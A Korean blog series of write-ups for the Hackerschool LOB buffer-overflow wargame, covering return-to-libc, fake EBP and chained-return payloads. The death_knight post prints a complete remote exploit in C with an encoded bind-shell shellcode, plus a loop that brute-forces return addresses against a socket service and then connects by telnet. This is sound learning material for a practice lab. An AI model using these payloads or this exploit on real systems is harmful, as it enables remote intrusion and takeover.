레드헷 6.2 - 더미 값 없음 보호 기법 적용 없음 bash2 사용해야함

1 - gate

버퍼가 256이 할당 되어있고 단순히 strcpy -> printf 로 전달
버퍼 내에 쉘코드를 넣어준뒤 ret 주소에 버퍼의 주소를 넣어 쉘코드를 실행시킴

2 - gremlin

버퍼가 16이 할당됨 argv[2]에는 제한이 존재하지 않은것을 이용해서
argv[2]에 쉘코드를 넣어 준 뒤 argv[1]의 리턴 주소를 argv[2]의 주소로 바꾼다 

3 - cobolt

gets 함수 취약점[엔터를 누를떄가지 문자열로 입력을 받아들여서 버퍼 오버플로우 발생 ]을 이용해서 푼다 
파이프 함수와 캣을 이용해서 buf[16]만큼 할당 된곳에 
sfp값까지 총 20을 넣어 20+ ret +쉘코드 로 페이로드를 짜서 ret주소를 쉘코드 주소로 바꿔서 공격한다 

4 - goblin

buf [40] 이 주어져있다 egghunter로 인해 환경변수 와 에그쉘이 막혀있는 상황
argv[1][47]은 \xbf를 만족해야함 

5 - wolfman

버퍼 40 이 주어졌고 buffer hunter로 0~40까지 다 막아버린다 
argv[2]에 놉코드와 쉘을 배치하여서 argv[1]에 ret부분에 놉코드의 주소를 써서 풀었다

6 - darkelf

argv[1]에 제한 조건이 걸려있음 argv[2]에 쉘코드와 놉코드를 넣고 argv[1] 리턴 주소에 놉코드의 주소를 돌려 주면 됨 

7 - orge

argv[0]의 길이가 77이 아니면 종료가됨 
./ < 의 크기도 고려를 해줘서 공격할 프로그램을 77길이에 맞춰서 
.////~~~공격 `pythonc 식으로 페이로드를 짜면 된다 

8 - troll

심볼릭 링크

argv[1]을 다 초기화 해버린다 \x2f가 존재하는 쉘코드면 심볼릭링크 파일로 만들 수 없으므로 \x2f가 존재하지 않는 쉘코드를 이용해서 풀어야함
자동완성 기능을 위해서 AABB를 넣고 쉘코드를 넣은 뒤 심볼릭링크 파일로 만들어서 풀었음

9 - vampire

argv[1][46] == '\xff' 일시 종료됨
그러나 argv[2]에 한도 값이 없으므로 놉코드를 많이 넣어줘서 낮은 주소로 점점 이동시켜서 \xff의 영역을 벗어난곳에 쉘코드를 집어 넣는다 

10 - skeleton

ultra argv hunter 라는 것이 새로 생기고 
argv를 전부 사용하지 못합니다 
하지만 스택을 일일히 보다보면 초기화되지 않은 argv[0]이 존재합니다

NULL위에 있는 program name은 초기화 되지 않음
심볼릭 링크를 만들어준 후에 AABB(자동 완성을 위해서)길이까지 총
./AABB = 6 을 생각해서 &(program name)+6 만큼 주소를 높게 해서 
ret에 넣어준뒤 주소 끝 값에 닿지 않도록 놉을 뒤에 추가로 줬다.
그 뒤에 argv[1]의 조건을 만족 시키기 위해서 [1][47]!=\xbf를 넣어줘서 공격한다.

11 - golem

stack destroyer가 추가됨 버퍼부터 메모리 끝 영역까지 초기화를 해서 
메모리 마지막 영역을 사용 할 수가 없게됨

0xff                                    ~                                      0x00
커널 | argv | argc | ret | ebp | buf | 공유라이브러리 | heap | data | code
      |---------  stack ----------------|

메모리 구조는 이러한 식으로 되어있고 버퍼부터 argv까지 쭉 초기화 되어있기 떄문에 공유 라이브러리를 이용해야 한다 .
gcc -fPIC -shared [돌아가기만 하는 프로그램] -o `~쉘코드~'` 이러한 식으로 
공유라이브러리에 올려줄 수 있고 ret에 적당한 공유라이브러리 주소를 넣으면 공격된다 [ 공부하다가 알아낸것 : 공유 라이브러리를 이용하면 1~20까지 모든 권한을 습득 가능했다]

12 - darkknight

SFO (Frame Pointer Overflow)를 이용해서 풀었음
변조한 ebp값이 sub()에서 mov esp,ebp를 통해 esp에 저장된다
그후 pop ebp를 해서 +4가 증가되고
esp의 위치도 +4가 된다 ret를 수행하면서 eip로 전달되서 초기 변조된 sfp값의 주소가 시작된다 
고로 쉘코드를 기존 sfp(변조 시킨 값)+4에 넣어주면 된다

13 - bugbear

argv[1][47] == '\xbf' 를 만족해야하는데 스택을 사용할 수 없으므로
RTL을 사용해야한다

14 - giant

execve를 리턴주소에 넣어야함 (ret =exever adr과 같은 조건이 있음)
execve (const char *filename, char *const argv[], char *const envp[]) < 형태
첫번째 인자 : 실행시킬 파일명 두번째 인자 : 전달할 인자값 세번쨰인자 :환경변수
고로 ret주소 뒤에 system+exit+bin/sh+null을 넣어줘야함 null은 스택 끝쪽에 아무거나 비어잇는거 사용함
여기서 0a는 줄바꿈을 시도하는 어셈블리기 때문에 문자열 "~"로 전달하여야함

15 - assassin

RTL과 스택 주소 이용 불가
RET은 pop eip jmp eip를 수행 만약 ret 주소에 ret이 들어가잇으면
렛을 다시 수행하면서 추가로 +4가 주어짐
렛 주소를 한번 더 쓴뒤 RTL을 하면 됨

16 - zombie_assassin

fake ebp

17 - succbus

함수연속호출(?) 이던가 도개걸윷모 ret주소 이용햇던거마냥 계속 호출하고 마지막에 쉘코드 써주고 쉘코드 주소를 넣어주면 됨

18 - nightmare
argv의 ret이 strcpy와 같아야하고 buf48에서 +4 주소를 A로 채워버림
strcpy(a,b)는 b의값이 a로 전달 되는 함수이다 

&SYSTEM+A*4+&/bin/sh+A*32+&STRELN+"A"*4+&RET+&BUF의 첫 주소로 공격
을 해서 클리어했다

19 - xavius

buffer[47] == \xbf 일 경우 exit(0) buffer[47] == '\x08' 일 경우 exit(0)
while(memcmp(ret_Addr, "\x90\x90", 2) != 0)
{
   if (*ret_addr == '\xc9){ //leave
     if(*(ret_addr+1) == '\xc3\)} //이쪽 부분들 포인터 변수인 ret_addr을 통해서 라이브러리를 사용하지 못하게만들었고 라이브러리 끝에도 leave,ret이 존재하기 때문에 철저하게 막아놓은것

버퍼에 값을 fgets(buffer , 256, stdin)
                  print("%s\n", buffer) 이런식으로 전달을 하는데 stdin에는 일시적으로 값을 저장하기위한 임시 입력 버퍼이고 stdin의 주소에는 전송한 값이 잇기에 
stdin의 초기주소를 구해서 풀었다.

20 - deathknight

리모트공격 문제 기존의 쉘코드를 같은 로컬일때나 가능하고 
지금 같이 통신을 통한 공격은 사용이 불가능하기에 바인드쉘코드를 직접 넣음
소스를 넣은뒤 6666포트로 공격을하고 0xbffffff주소 부터 놉코드만큼 줄여나가서 공격을 하도록 소스를 짠뒤 연결에 성공하게 되면 Escape character is '^]'.가 나오는데 세미콜론을 붙여서 명령어를 치면 받아들인다


 

'해커스쿨 lob' 카테고리의 다른 글

LOB CLEAR~  (0) 2016.05.21
LOB death_knight  (0) 2016.05.21
LOB xavius  (0) 2016.05.19
LOB nightmare  (0) 2016.05.19
LOB succbus  (0) 2016.05.16

수고 하셨습니다! 

원데이 분석으로 찾아뵙겠습니다!

'해커스쿨 lob' 카테고리의 다른 글

LOB 정리  (0) 2016.05.24
LOB death_knight  (0) 2016.05.21
LOB xavius  (0) 2016.05.19
LOB nightmare  (0) 2016.05.19
LOB succbus  (0) 2016.05.16

40바이트만큼 선언되엇지만 256바이트만큼 받아 들일 수 있고 6666포트를 개방했습니다 
힌트로는 remote 라고 적혀있네요 먼저 remote를 공부해야 할거 같습니다 .

*remote에 대한 자료는 추후에 올리도록 하겠습니다 

리눅스의 정보 

#include <stdio.h> //기본 헤더 
#include <stdlib.h> //시스템 함수를 사용하기 위함
#include <errno.h>// 특정한 이유에 의해서 비정상 종료될때 오류코드 호출
#include <string.h> // 메모리 블록을 다루기 위하여 추가함 
memset , memcpy , memset ,strlen 
#include <sys/socket.h> // send , recv , socket ,bind 를 쓰기 위하여 추가함 
#include <sys/types.h> //typedef 를 사용하기 위해 추가함
#incldue <netinet/in.h> (socket.h , tpyes.h 대신 사용 가능)
#include <sys/wait.h> //자식 프로세스가 종료될때까지 부모 프로세스는 sleep()모드로 대기한다
#include <dumpcode.h> // 스택의 내용을 hex 코드로 보여줄 수 있다 .
main()
{
  char buffer[40]; // 버퍼에 40만큼의 공간을 할당해줌

  int server_fd , client_fd; // server_fd 와 clinet_fd 변수를 선언하였다
  struct sockaddr_in server_addr; // server_addr 구조체 선언
  struct sockaddr_in client_addr; // client_addr 구조체 선언
  int sin_size; //sin_size 변수 선언
  if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){ //소켓의 타입을 TCP로 설정함 (주소 체계 , 소켓타입 , 프로토콜)
             perror("socket") //오류메시지 처리 socket:@@@@라고 뜸 
              exit(1); // 에러가 나서 종료함
 } 

server_addr.sin_family = AF_INET; //소켓의 주소체계를 IPV4로 설정함
server_addr.sin_port = htons(6666);//소켓의 6666포트를 연다.
server_addr.sin_addr.s_addr = INADDR_ANY;// 모두 접속가능하다 
bzero(&(server_addr.sin_zero), 8); // sin_zero 부분을 0으로 초기화한다.

if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){  //소켓에 주소 할당을 한뒤 실패한다면 

perror("bind"); //bind 라는 만구를 출력하고 

exit(1); //종료된다

}

if(listen(server_fd, 10) == -1){ //연결 대기 제한 수를 10으로 잡고 실패하면

perror("listen"); //listen을 출력하고 

exit(1); // 종료된다 

}

while(1) {  //무한 루프 

sin_size = sizeof(struct sockaddr_in); //sin_size = 선언한 구조체의 크기 

if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr,                   &sin_size)) == -1){ //  클라이언트의 접속요청을 받고 실패하면

perror("accept"); //accept라는 문구를 호출하고

continue; //지속한다 

}

             if (!fork()){ //새로운 프로세서를 생성하지못하면(?)

send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0); // Death~ 문구를 보냅니다 (52만큼 할당되었음)

send(client_fd, "You : ", 6, 0); //You 라는 문구를 보냅니다

recv(client_fd, buffer, 256, 0); //40만큼 할당된 버퍼에서 256만큼 저장합니다.

close(client_fd);//client_fd 소켓 종료 

break; //while문 종료 

}

close(client_fd);  //client_fd 소켓 종료 

while(waitpid(-1,NULL,WNOHANG) > 0);//임의의 자식 프로세스가 종료되지 않았더라도 바로 종료해라 

}

close(server_fd); //server_fd 소켓 종료 

}

으으으으으으 문제 소스 주석이 다 끝났습니다! 햇갈리는 분은 봐주세요 

저희는 여지껏 로컬환경에서 공격을 진행했습니다 
하지만 이번에는 바깥 환경 ?(원격) 에서 진행을 해야하기 때문에 소켓프로그래밍을 이용해야합니다 .
또한 리모트 버퍼 오버플로우에서는 기존의 쉘코드를 사용해서는 안됩니다 
그 이유는 쉘코드의 fd는 0,1이지만 0,1은 현재 프로세스에서 돌고있는 파이프가 아니기때문에 fork 바이너리가 받아들이지 못합니다 
[ 기존에는 로컬에서 풀고 있던 문제였습니다 로컬에서 풀던 문제는 한 프로세스에서 돌아가고 있던거여서 가능하였지만 지금은 통신형식으로 외부에서 공격을 하는것이고 현재 프로세스에서 돌고 있는 파이프가 아니기때문에 fork 바이너리[ 자식을 0,1로 받지 않습니다]를 통과하지 못하기 때문에 공격할 프로그램과는 별개로 새로운 소켓을 생성하고 포트를 열고 /bin/bash와 연결하는 bindshell 백도어를 실행시켜야한다]

*코드를 추가할때 추가적으로 inte_addr을 이용해야한다 
inet_addr = 문자열 형태로 받은 주소를 8bit당 값을 4개씩 왼쪽에서 오른쪽으로 구성해주는 unsigned long 타입으로 변환해준다 
따라서 #include <arpa/inet.h> 헤더를 추가로 사용해줘야 한다 .

프로그래밍 실력이 모잘라서 이것저것 찾아보고 붙여놓고 하면서 거의 20시간 만에 성공한거같습니다 -_-;;

-------------------------------문제 소스입니다-------------------------------------------------

#include <stdio.h>

#include<stdlib.h>

#include<string.h>

#include<sys/socket.h>

#include<sys/types.h>

#include<netinet/in.h>

#include<arpa/inet.h>


#define BUFSIZE 256 //BUFSIZE = 256 BUFSIZE를 호출하면 256이 들어감

#define RET_BUF 44 //RET_BUF = 44 RET_BUF를 호출하면 44가 들어간다

#define NOP 50      //NOP = 50 NOP을 호출하면 50이 들어간다

#define BIND 31337 //BIND = 31337 BIND를 호출하면 31337이 들어간다


char bindshellcode[] =

"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"

"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"

"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"

"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"

"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"

"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"

"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"

"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"

"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";

//바인드쉘코드 31337 포트를 개방하고 쉘을 실행시킵니다
exploitdb 및 검색으로 간단히 구하실 수 있어요 

int main(int argc, char* argv[]) //main 함수에 argc ,argv라는 매개변수를 전달한다.

{

int sock; //sock 변수를 선언한다

struct sockaddr_in target_addr; //target_addr 구조체 선언

unsigned int retaddr = 0xbffffff0; //바꿔나갈 return addr의 초기값

unsigned char buffer[BUFSIZE]; //버퍼의 사이즈를 설정한다 

char cmd[130]; //telnet 명령어 넣을곳의 크기 

sprintf(cmd, "%s %s %d", "telnet","localhost",BIND);

//sprintf = 변수에 형식 대입이 가능함 고로 cmd에 telnet~같은 문자열을 저장함)

while(1) { //무한 반복 ==for(;;)

memset(&target_addr, 0, sizeof(target_addr)); //target_addr의 모든 값을 0으로 초기화한다 

target_addr.sin_family = AF_INET; //소켓의 주소체계를 IPV로 설정한다

target_addr.sin_port = htons(6666);//소켓의 6666포트를 연다

target_addr.sin_addr.s_addr=inet_addr("127.0.0.1"); //127.0.0.1에 접속을 한다 

if ((sock = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
//IPv4 프로토콜 사용 , TCP/IP 이용 0프로토콜사용(보통 0 값을씀) 을 sock에 대입한후 만약 실패를 하게 되면

printf ("socket error"); //socket error 문구를 출력한다

return -1; // 오류를 반환한다

}

if(connect(sock, (struct sockaddr*)&target_addr, sizeof(target_addr)) == -1){
//연결요청을 target_addr의 주소로 보내고 그 주소 정보를 struct sockaddr 포인터가 가지고있다 sizeof(target_addr) = struct sockaddr*)&target_addr 포인터가 가르키고있는 구조체의 크기 [sock = 디스크립터]를 전달해서 연결에 실패한다면

printf("connect error"); //connect error를 출력함

close(sock); //sock을 닫는다 

continue; //while문을 빠져나와서 다음걸 진행한다 

}

retaddr -= NOP; // return addr의 초기값에서 NOP값 만큼 계속 감소

printf("retaddr : 0x%p\n" , retaddr); //retaddr의 주소를 출력함

memset(buffer, '\x90', sizeof(buffer));//버퍼를 모두 놉코드로 초기화 한다.

memcpy(buffer+RET_BUF, &retaddr, 4);//ret주소에 retaddr의 주소를 넣음

memcpy(buffer+100, bindshellcode, strlen(bindshellcode));//버퍼에서 100만큼 떨어진곳에 bindshellcode 만큼 크기를 할당하고 bindshellcode를 넣는다

send(sock, buffer , strlen(buffer), 0);// sock = 디스크립터 현재 버퍼가 들어잇는 소켓을 전송합니다

system(cmd); //시스템함수로 텔넷 명령어를 넣는다 

sleep(1); //1초마다 반복합니다 

close(sock); //sock을 닫습니당

}

return 0; //끄으으읕

}

대충 이렇게 구성이 되어있습니다
[제가 전부 짠 소스가 아니고 이곳 저곳 참고하면서 작성했습니다. 다음에 파이썬 이후에 소켓 프로그래밍도 공부해보고 싶습니다!]

실행을 시키니 Escape character is '^]' . 라는 문구가 등장하네요 
처음에는 오류인지 알고 소스를 처음부터 다시 짜려고 했습니다만

http://openness.tistory.com/entry/telnet-%EC%A0%91%EC%86%8D-%ED%85%8C%EC%8A%A4%ED%8A%B8-%EA%B2%B0%EA%B3%BC-%EC%9D%98%EB%AF%B8 

이곳을 참고하시면 프로세스가 열린것을 알 수 있습니다 .

이런식으로 시도를 계속 해봣으나 실패했습니다 

세미콜론을 붙여서 하니까 출력이 되는군요 ?
[뒤에 쓰레기 값들이 붙어서 세미콜론으로 잘라내서 출력이 된것인지는 모르겠지만 추측해보고 있습니다. 아시는 분은 댓글좀 부탁드리겠습니다..]

수고하셨습니다!


'해커스쿨 lob' 카테고리의 다른 글

LOB 정리  (0) 2016.05.24
LOB CLEAR~  (0) 2016.05.21
LOB xavius  (0) 2016.05.19
LOB nightmare  (0) 2016.05.19
LOB succbus  (0) 2016.05.16

xavius의 소스코드입니다
저번과 같이 왠만한 부분은 전부 막아놔버렷네요
leave를 막아놓음으로써 fake ebp 기법을 방어한거같고
xc3은 ret을 ret에 넣는 방법을 방어한거같네요

ret의 끝자리가 \xc3인것을 확인 하실수 잇습니다
스택도 막아놓고 공유라이브러리도 막아놨네요 

그래서 이걸 어찌풀어야하지 .. 하고 고민을 하던찰라에 뭔가 주석이 달린 //overflow! 부분을 삽질해보기로 결정했습니다 . 

그러던 도중에 stdin으로 한번 통해서 간다는 생각이 들어서 stdin을 파해쳐 보기로 하였습니다 (사실 확신이 없어서 하루 종일 이것저것 파봤습니다-_-)

stdin의 주소를 출력한뒤 이동했습니다
다 초기화 햇을텐데 값이 보이네요 뭔가 실마리를 얻은거 같았습니다 

의심 가는 부분을 하나하나 찔러봤습니다 . .
혹시 몰라 브레이크 포인트도 수시로 바꿔주면서 값들을 확인하던 찰라에 

수십번을 시도 하고 아무리 값을 집어넣고 실행시켜도 
주소가 변하지 않아서 여기가 아닌가보다 그럼 도대체 어디지? 하면서
pe구조를 보던 찰나에 
뭔가를 입력해야만 
Breakpoint 1, 0x804882a in mian() 이런식으로 실행이 된다는것을 보고 
뭔가 이상함을 느꼈습니다 
그러다가 우연히 오타를 쳤는데

IO_2_1_stdion_  부분의 주소값들을 자세히 봐주세요 

IO_2_1_stdin_ 의 주소가 
0x40015001 에서 0x40015003 으로 변했습니다 

A를 무작위로 대입해줫더니
0x4001502c로 변했습니다 .
그래서 아무것도 안넣어줫을때 값이 초기 값이라고 생각하여 
0x40015000로 이동을 했습니다 

41들이 정상으로 들어가는것을 확인할 수 있습니다 
게다가 stdin의 주소는 리턴을 검사하는것에 걸리지도 않습니다 
뒷부분이 00이지만 놉코드를 써주고 쉘코드를 써주면 피해갈 수 있다고 짐작해볼수잇겠네요

계속 값을 주고 시도했는데 실패했습니다 
이유를 찾던 도중에.. 
fgets(buffer , 256 , stdin) 에서 
fgets를 사용해서 풀엇던 문제들은 | 와 cat을 이용해서 풀엇다는 사실을 알게되었습니다(복습좀 해야겠습니다 까먹엇었습니다)

풀게되었습니다 . .
lob를 끝내고 한번 더 정리해야겠습니다 

'해커스쿨 lob' 카테고리의 다른 글

LOB CLEAR~  (0) 2016.05.21
LOB death_knight  (0) 2016.05.21
LOB nightmare  (0) 2016.05.19
LOB succbus  (0) 2016.05.16
LOB zombie_assassin  (0) 2016.05.16

argv[1]에서 44부터 4개의 주소를 비교하는데 strcpy와 같지 않으면 종료시킵니다 .
또한 dangerous waterfall 이라고 새로운 친구가 보이네요 
buffer+40+8의 주소부터 A를 4개 채워버리는군요

저는 여기서 strcpy의 역할과 ret의 기능을 생각하였습니다.
ret에 strcpy가 들어가게 되면 strcpy가 실행하게 될텐데
strcpy는 strcpy(a,b)라는 인자가 있으면 b의 값이 a로 전달 되는 함수입니다.
원하는 값을 버퍼안 혹은 ret 뒤에 넣은뒤 
그 값의 주소를 b에 주고 ret+4의 주소를 a에다가 넣어주면 되겠습니다.

strcpy의 주소를 구하였습니다 .

여기서 이제 stcpy의 주소를 argv[1]+44 다음에 넣어봅시다! 

정해진 위치에 넣지 않았더니 printf가 실행되면서 종료됩니다

정상적으로 넣어줬더니 세폴이 발생하면서 코어 덤프가 생겼습니다! 

----------------------------------------------------------------------------------------------------계속 주소값을 변경하고 찾고 찾아도 이틀동안 풀지 못했습니다... 
처음으로 돌아가서 다시 해보겠습니다 

이런식으로 버퍼의 첫 주소를 확인하려고 하였으나 실패했습니다 .

strcpy브포를 주고 시도를 해봤으나 실패했습니다 

코어를 띄우며 버퍼값을 맞추려고 해도 strlen에 값들이 주어져서 주소값들이 수시로 변해서 실패했습니다 

그러다가 strcpy+33(leave)에 값을 주고 시도해봤습니다 

버퍼의 첫 주소인 a90과 ret+4부분인 ac0을 발견했습니다.
처음에 생각햇던 페이로드인 
"A"*44+&strlen+"A"*4+&RET+&SHELL+SHELL 이 아닌

&SYSTEM+A*4+&/bin/sh+A*32+&STRELN+"A"*4+&RET+&BUF의 첫 주소로 공격을 하였고 성공했습니다 -_-(분명히 A90 과 AC0을 시도헀던거 같은데 어디서 틀린지 아직 감이 안잡힙니다..반복되는 bash2때문에 주소값이 밀렸던것일까요 ..아니면 제가 사소한 실수를 했던것일까요 반성해야겠습니다)


'해커스쿨 lob' 카테고리의 다른 글

LOB death_knight  (0) 2016.05.21
LOB xavius  (0) 2016.05.19
LOB succbus  (0) 2016.05.16
LOB zombie_assassin  (0) 2016.05.16
LOB assassin  (0) 2016.05.13

소스가 엄청길다 ..
공유라이브러리영역부터 스택 등등 여태까지 썻던 기법을 다 막아버린다 
또한 check address 부분에서 Do의 주소와 44부터 4개를 비교하면서 != 일 경우 printf(~) 를 출력한다 . 
Mo가 실행되면 system을 실행시킨다!
Mo를 실행시켜서 풀어야 하는 문제같다.

gdb를 분석하던 도중에 의심스러운 친구가 보였다

 봐보니 DO가 나왓다 그렇다면
마찬가지고 GYE GUL YUT MO 도 찾을 수 있지 않을까 싶어서 시도해보았다

역시나 도개걸윷모 모두 존재하는것을 알 수 잇었다!
먼저 MO를 혹시나 해서 RET주소에 써봤다 

printf 가 출력되면서 종료가 되버린다! 
그렇다면 ret주소에 다른 친구들을 쓰면 4바이트가 추가적으로 주어진다는것을 생각해서 추가로 넣어보겠다 

도에 온것을 환영한다고 합니다 도 다음에 바로 모를 쓸수 잇나 해보겠습니다

별 다른 반응이 없습니다 그렇다면 도 개 걸 윳 모 순서대로 넣어보겠습니다 

도 개 걸 윷 모 차례 차례 실행과 함께 시스템이 실행됬습니다!


쉘코드를 넣어주기 위하여 &쉘코드(4) + nop(20) + 쉘코드(25) 의 주소를 알기위해 값을 대강 준뒤 코어덤프로 분석해봤습니다

A와 B의 주소를 구했습니다 

A부분에는 &쉘코드의 주소로 흘러들어가기 위하여 안전하게 놉 코드의 주소를 넣어줬습니다 .
그 후에 놉을 20개 준뒤 C 부분에는 쉘코드를 입력해줬습니다 
정상적으로 권한이 주어진것을 확인하고 권한이 걸린 파일에다가 넣어보도록 하겠습니다 

정상적으로 권한이 주어졌습니다 

'해커스쿨 lob' 카테고리의 다른 글

LOB xavius  (0) 2016.05.19
LOB nightmare  (0) 2016.05.19
LOB zombie_assassin  (0) 2016.05.16
LOB assassin  (0) 2016.05.13
LOB giant  (0) 2016.05.12

대망의 FAKE_EBP를 사용하는문제입니다 .(Fake_ebp는 따로 블로그 내에 적어두겠습니다.)

bash2와 core분석으로 위해서 ulimit -c unlimited 를 설정했습니다.

그 뒤에 zombie_assassin을 복사하여 zombie_assassss를 만들었습니다

leave의 주소입니다 

쉘코드를 넣을것을 가정하고 주소파악을 쉽게 하기 위해서 

A*4 B*25 C*11 D*4 + leave의 주소를 줘서 세펄을 띄우고 코어 분석을 하였습니다

0xbffffa90에 보면 0x41414141(A*4) 즉 버퍼의 시작주소가 보입니다 .

여기서 그렇다면 RTL을 이용하여 생각할 수 있는 페이로드입니다 
dummy(4) System의 주소(4) +exit or dummy(4) + /bin/sh(4) + dummy(24)
+버퍼의 시작주소(4) + leave의 주소(4) = 48

(* 시스템의 주소와 /bin/sh주소는 저번RTL문제에서 구한 주소를 그대로 사용하였습니다.)

권한을 휙득했습니다!

(풀이는 기법에 대한 설명이 없기에 간단하게 작성하였으나 문제 푸는데는 2일이 걸린 짜증나는 문제였습니다-_-)

'해커스쿨 lob' 카테고리의 다른 글

LOB nightmare  (0) 2016.05.19
LOB succbus  (0) 2016.05.16
LOB assassin  (0) 2016.05.13
LOB giant  (0) 2016.05.12
LOB bugbear  (0) 2016.05.12

RTL도 사용불가능하고 스택의 주소를 이용한 방법도 사용불가능하네요 

fake ebp 방법으로 또 6시간동안 삽질한 문제였습니다.

덕분에 fake ebp문제는 쉬울거같은 느낌이 드는군요 ...후우 

엄청해맸습니다. 주소의 끝 부분을 이용해본다거나 어케든 돌려서 박아넣어본다거나..

if(argv[1][47] == '\x40' 이 부분에 걸려서 에러가 뜰때 뭔가 떠오른게 있었습니다.

어라? 기존 ret는 안걸리네 생각해보니까?

근데 ret는 pop eip jmp eip를 수행합니다 

근데 ret주소에 ret이 있다면..? ret이 다시 한번 수행 된다는걸 알 수 있습니다 . 

buf[40]  +  SFP [4] + RET[4] 일단은 이러한 구조입니다
근데 if문은 [1][47]에 걸려있습니다 근데 RET가 다시 한번 실행되면..?

buf[40] + SFP [4] + RET[4] +RET[4] 조건에 걸리지 않고 RET를 사용할 수 있습니다!

기존의 RTL 방법이라던가 환경변수를 사용 할 수 있는 조건이 만들어졌습니다!

알고 나니까 정말 후련하고 뭔가 깨달은거같네요! 

기존의 RTL을 사용한다면 이러한 구조가 되겠네요

buf[40] + sfp[4] + ret[4] + system[4] + dummy [4] + /bin/sh [4]

그렇다면 먼저 ret의 주소와 system의주소 그리고 /bin/sh의 주소를 구해봅시다.

/bin/sh를 구하기 위한 소스코드입니다.

shell = [이곳 주소는 system의 주소가 들어가야합니다]

이제 재료가 다 모였네요 넣어봅시다!

성공했습니다!

[환경 변수는 이상하게 오류가 떠서 실패했습니다. 안되는 원인을 아시는분은 말씀 주시면 감사하겠습니다 

'해커스쿨 lob' 카테고리의 다른 글

LOB succbus  (0) 2016.05.16
LOB zombie_assassin  (0) 2016.05.16
LOB giant  (0) 2016.05.12
LOB bugbear  (0) 2016.05.12
LOB darkknight  (0) 2016.05.11

소스가 많이 길어졌습니다 .

// gain address of execve

fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");

fgets(buffer, 255, fp);

sscanf(buffer, "(%x)", &lib_addr);

fclose(fp);

/home/giant/assassin 파일을 idd로 공유라이브러리를 확인한후에 libc(표준라이브러리) 를 grep으로 출력하고 그중에 4번째 열(libc 라이브러리의 주소)를 popen함수를 통해서 fp로 넘긴다 

 fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");

        fgets(buffer, 255, fp);

        sscanf(buffer, "%x", &execve_offset);

        fclose(fp);

libc.so.6 오브젝트 파일에서 nm을 통해 심볼들을 출력하고 grep을 통해 execve함수만 출력하도록 하고 이중에서 execve의 오프셋을 출력한다


그리고 맨 아래를 보니 you must use execve라는 문구와 ret !=execve_addr 을 보니 ret에다가 반드시 execve의 주소를 사용해야 하는거 같다 


난이도가 저한테는 상당히 어려운거같습니다 . 

/home/giant/assassin파일은 역시나 권한이 할당되지 않았습니다 .

gain address of execve 인것을 보아하니 execve에 대해서 먼저 파악을 해봐야겠습니다 

execve는 리눅스 시스템 호출 함수네요 (프로그램을 실행합니다)

int execve (const char *filename, char *const argv [], char *const envp[]);

사용법 ? 구조는 이런식으로 되있습니다 . 

execve는 filename이 가리키는 파일을 실행하는데 filename은 바이너리 실행 파일이거나 #! interpreter [arg]와 같은 라인으로 시작하는 스크립트 파일이어야 합니다.

argv는 새로이 실행할 프로그램에 전달하는 인수 문자열의 배열입니다 
envp는 보통 key=value와 같은 형태로 문자열 배열이고 환경 변수를 설정해놓은 것처럼 전달됩니다 . argv와 envp는 모두 NULL 포인터로 끝나야만 합니다.

만약 filename이 가리키는 실행 파일의 set-uid 비트가 설정되어 있다면 호출한 프로세스의 실질적인 사용자 ID(uid)는 실행 파일의 소유자로 바뀝니다 
(여기서 execve를 RTL과 어떻게 엮어서 사용해야할지 대충 느낌이 갑니다)

먼저 execve의 주소를 구해보겠습니다 

execve는 라이브러리 함수입니다 . 라이브러리의 주소는 어떠한 파일(?)에서 열든지 주소가 동일합니다 . 먼저 그러면 tmp파일에 복사한 후 execve의 주소와
원래 문제상에서 제시한 얻는 방법인 execve_addr = lib_addr + (int)execve_offset
두개를 비교해서 봐보겠습니다 .


새로운 파일에서 얻은 execve주소 입니다 그렇다면 이번엔 원래 문제에서 제시한 얻
는 방법을 시도해보겠습니다

여러번 시도 해본 결과 저런식으로 lib_addr의 주소를 얻었습니다
이번엔 execve_offset을 얻어보겠습니다 

어찌 저찌 구햇으나 grep 명령어를 좀 더 공부해야될거같습니다..
0x40018000+00091d48을 더해야되는군요 음 

손수 계산했습니다 ㅎㅎㅎ 귀엽군요 아까 구한 execve의 주소와 맞아 떨어지는것을 확인했습니다 .
혹시나 싶어서 저 주소로만 공격을 해보겠습니다 

역시 안되는군요 

int execve (const char *filename, char *const argv [], char *const envp[])

execve의 이러한 구조를 이용해야겠습니다 . 

멍청하게 filename 을 giant 파일 이름의 주소를 찾아서 공격시도를 해보고잇었습니다-_-;;;;;;;;;; 저기 위에 filename은 바이너리 실행 파일이거나 하고 써놧네요 

뭔가 giant의 이름 주소를 공격하는건 아닌거같아서 좀 찾아봤습니다 

filename에 /bin/sh를 넣어주고있네요 

그럼 파일 네임부분에는 /bin/sh의 주소를 넣고 .. - 

execve에 대한 정보가 더 필요할거같아서 자료를 찾던 와중에
execve 항목에 보면 path에 지정한 경로명의 파일을 실행하고 argv와 envp를 인자로 전달한다 라는 항목을 보고 퍼뜩 떠올라 공격을 해보겠습니다

나름 회심의 공격이였는데 실패했습니다 . 뭐가 문제인걸까요 많이 어렵습니다 

gdb로 확인해보자는 마음으로 coredump를 시도해봤으나 역시나 실패했습니다 .


일반 gdb로 스택을 확인해보려고 했습니다

245즈음에 브레이크 포인트를 잡아 준후에 아까 
오류가 떳던 바로위에 스크린샷을 실행시켰습니다

